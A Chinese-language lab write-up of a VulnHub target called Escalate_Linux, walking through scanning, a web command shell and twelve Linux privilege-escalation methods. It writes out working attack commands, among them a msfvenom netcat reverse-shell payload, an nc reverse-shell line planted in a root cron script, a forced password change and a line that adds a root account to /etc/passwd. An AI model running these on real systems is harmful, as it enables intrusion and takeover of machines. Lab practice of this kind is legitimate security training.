本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/escalate_linux-1,323/
nmap -n -p- -A 192.168.226.7 -o escalate.nmap
nmap扫描结果
看到开放了80端口,浏览器访问看看
发现是默认的apache页面,那么爆爆php后缀的路径看看
居然搞出来了shell.php文件,访问看看
上面提示可以通过使用参数执行cmd命令
还真可以执行命令,那么进行反弹shell提权操作,靶机的描述有12种以上的提权方法,我们慢慢往后看吧,看能搞几种,首先我们使用metasploit搞下
上面是使用metasploit配置好监听端口然后将生成的反弹代码通过burpsuite进行url编码然后访问shell.php的cmd参数命令成功反弹shell,具体如下:
上面操作完毕后,开始进行shell环境使用LinEnum枚举下当前环境
执行枚举脚本
确认存在8个用户,那么有可能每个用户都有提权的可能性,继续观察
看到user4用户有个计划任务每5分钟以root身份执行一个脚本,这里可能是其中一个提权的途径,估计还有很多,那么我们一个一个来,慢慢提权,先变成友好的shell
方法一:
python -c 'import pty;pty.spawn("/bin/bash")'
上述反馈说明当前通过metasploit反弹的shell是在user6用户上,那么我们看看此用户是否能够提权,首先查找下能否执行SUID特权的命令
find / -perm -u=s -type f 2>/dev/null
看到用户user3下面有个shell命令文件,能够使用SUID,去试试看
猜测此shell命令的二进制文件里面含有C语言setuid提权代码,所以应该是能提权的,我们执行下看看
方法二:
根据枚举的文件信息,确认家目录user5下面有一个二进制script文件,通过strings命令查看查看仍然发现含有setuid等关键字,但是执行了一下发现跟命令ls执行的结果是一样的,因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权,另外这里如果懂二进制的话可以使用gdb等分析工具分析二进制文件是咋运行的,那么会对原理了解的更深入,我不是太熟悉这类,就不演示了,下面看我执行此脚本显示结果就知道该script二进制文件做了什么
上述显示结果一样,都是使用ls命令,那么通过全局环境变量提权,可参考:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
成功提权,下面是提权过程的命令
echo "/bin/bash" > ls chmod +x ls echo $PATH export PATH=/tmp:$PATH cd /home/user5/ ./script
方法三:
枚举脚本发现user4下有的Desktop有一个脚本是通过计划任务使用root权限执行,看了下脚本的内容,跟提权没有关系,但是我们要更改这个脚本,目前反弹的shell是user6没有对于权限,具体如下:
所以我们需要进入到user4用户更改脚本来达到目的,这里是不知道user4的密码,可以通过上一个提权方法直接更改其密码
echo 'echo "user4:123456" | chpasswd' > ls
切换至user4之后,就可以通过本地kali使用msfvenom生成反弹shell的代码,具体如下:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 R 可以上述那样直接在屏幕生成反弹代码,也可以像下面一样,将反弹代码生成到一个文件种 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 -f raw -o bmfxpe
更改autoscript.sh 内容为如下:
echo "mkfifo /tmp/vnfr; nc 192.168.226.3 8833 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > autoscript.sh
本地kali使用nc监听端口,等待计划任务执行反弹shell
方法四:
同样使用全局环境提权的方法,更改用户user8的密码切换至该用户通过vi编辑器进行提权
方法五:
继续根据枚举的信息,确认user7是gid为0的组成员,继续使用相同的办法进入user7,切换至user7
因为user7属于gid为0的组,且/etc/passwd是有写入的权限,那么可以直接通过user7用户写入一个uid为0 的用户bmfx即可提权
echo 'bmfx:$1$bmfx$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> /etc/passwd
方法六:
上面的枚举脚本含有针对NFS的服务,通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:
由上述信息可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权,挂载nfs到本地kali,生成一个提权文件
在目标靶机上执行,奇怪,这边我提权没有成功,看到网上有的是提权成功
方法七:
枚举的信息中有mysql用户,应该是可以利用的,那么尝试使用默认密码登录看看
切换至mysql用户,查找各种文件, 发现了root账号和密码
方法八:
因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看
上述不是tty-shell,变成友好的可交互的tty-shell即可执行,最终提权结果如下:
方法九:
切换至user4,发现root的组里面有user4和user7,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权
方法十:
看到/home/user3下面有.script.sh脚本内容同样是带setuid的权限直接执行提权即可
这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh 所以套路跟方法一时候一样的,执行前该下.script.sh脚本即可
方法十一:
就是通过方法二echo 查看/etc/shadow文件,然后读取root的hash使用jonh爆破密码即可
方法十二:
直接通过user1的密码查看sudo -l 的特权进行提权即可
参考:
https://dpalbd.wordpress.com/ctf-writeup-escalate_linux-1/
https://blog.csdn.net/qq_34801745/article/details/104144580